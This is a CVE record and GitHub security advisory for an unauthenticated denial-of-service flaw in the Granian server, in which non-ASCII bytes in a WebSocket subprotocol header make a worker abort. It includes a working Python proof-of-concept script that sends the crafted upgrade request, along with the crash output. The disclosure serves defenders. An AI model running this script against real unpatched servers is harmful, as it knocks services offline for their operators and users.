2026-05-12 21:46CVE-2026-42544GitHub_M
PUBLISHED5.2CWE-20CWE-248CWE-400

Granian: Unauthenticated DoS via WebSocket subprotocol header panic

Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4.

Problem type

Affected products

emmett-framework

granian

>= 1.2.0, < 2.7.4 - AFFECTED

References

GitHub Security Advisories

GHSA-vrg7-482j-p6f6

Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic

https://github.com/advisories/GHSA-vrg7-482j-p6f6

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})
granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))
python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

  • Unauthenticated remote denial of service
  • One crafted request kills one worker
  • The application is never reached, so application-level authentication or routing does not mitigate the issue

JSON source

https://cveawg.mitre.org/api/cve/CVE-2026-42544
Click to expand
{
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "cveMetadata": {
    "cveId": "CVE-2026-42544",
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "dateUpdated": "2026-05-12T21:46:19.734Z",
    "dateReserved": "2026-04-28T16:56:50.191Z",
    "datePublished": "2026-05-12T21:46:19.734Z",
    "state": "PUBLISHED"
  },
  "containers": {
    "cna": {
      "providerMetadata": {
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M",
        "dateUpdated": "2026-05-12T21:46:19.734Z"
      },
      "title": "Granian: Unauthenticated DoS via WebSocket subprotocol header panic",
      "descriptions": [
        {
          "lang": "en",
          "value": "Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4."
        }
      ],
      "affected": [
        {
          "vendor": "emmett-framework",
          "product": "granian",
          "versions": [
            {
              "version": ">= 1.2.0, < 2.7.4",
              "status": "affected"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "lang": "en",
              "description": "CWE-20: Improper Input Validation",
              "cweId": "CWE-20",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "lang": "en",
              "description": "CWE-248: Uncaught Exception",
              "cweId": "CWE-248",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "lang": "en",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "cweId": "CWE-400",
              "type": "CWE"
            }
          ]
        }
      ],
      "references": [
        {
          "url": "https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6",
          "name": "https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6",
          "tags": [
            "x_refsource_CONFIRM"
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "version": "3.1",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH"
          }
        }
      ]
    }
  }
}